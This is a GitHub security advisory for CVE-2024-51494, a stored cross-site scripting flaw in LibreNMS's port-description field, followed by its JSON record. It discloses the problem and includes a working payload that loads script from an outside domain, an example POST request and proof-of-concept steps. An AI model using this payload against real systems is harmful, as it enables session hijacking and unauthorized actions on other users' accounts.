GHSA-7663-37RG-C377
Vulnerability from github – Published: 2024-11-15 15:43 – Updated: 2024-11-15 20:50Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.
Details
When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter:
lo'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82
PoC
- Edit a device's port settings using the following payload in the "descr" parameter:
lo'"><script/src=//15.rs> - Save the changes.
- Navigate to the "Port Settings" page of the device.
- Observe that the injected script executes.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 24.9.1"
},
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "24.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51494"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-15T15:43:20Z",
"nvd_published_at": "2024-11-15T16:15:37Z",
"severity": "HIGH"
},
"details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Port Settings\" page allows authenticated users to inject arbitrary JavaScript through the \"descr\" parameter when editing a device\u0027s port settings. This vulnerability can lead to the execution of malicious code when the \"Port Settings\" page is visited, potentially compromising the user\u0027s session and allowing unauthorized actions.\n\n### Details\nWhen editing a device\u0027s port settings, an attacker can inject the following XSS payload into the \"descr\" parameter:\n```lo\u0027\"\u003e\u003cscript/src=//15.rs\u003e```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers when the \"Port Settings\" page is visited, exploiting the `$port-\u003eifAlias` variable in the application. The sink is located here:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82\n\n### PoC\n1. Edit a device\u0027s port settings using the following payload in the \"descr\" parameter:\n```lo\u0027\"\u003e\u003cscript/src=//15.rs\u003e```\n2. Save the changes.\n3. Navigate to the \"Port Settings\" page of the device.\n4. Observe that the injected script executes.\n\nExample Request:\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: \u003cyour_token\u003e\nX-Requested-With: XMLHttpRequest\nCookie: \u003cyour_cookie\u003e\n\ntype=update-ifalias\u0026descr=lo\u0027%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E\u0026ifName=lo\u0026port_id=1\u0026device_id=1\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users\u0027 sessions when they visit the \"Port Settings\" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.",
"id": "GHSA-7663-37rg-c377",
"modified": "2024-11-15T20:50:16Z",
"published": "2024-11-15T15:43:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-7663-37rg-c377"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51494"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/82a744bfe29017b8b58b5752ab9e1b335bedf0a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/app/Http/Controllers/Table/EditPortsController.php"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.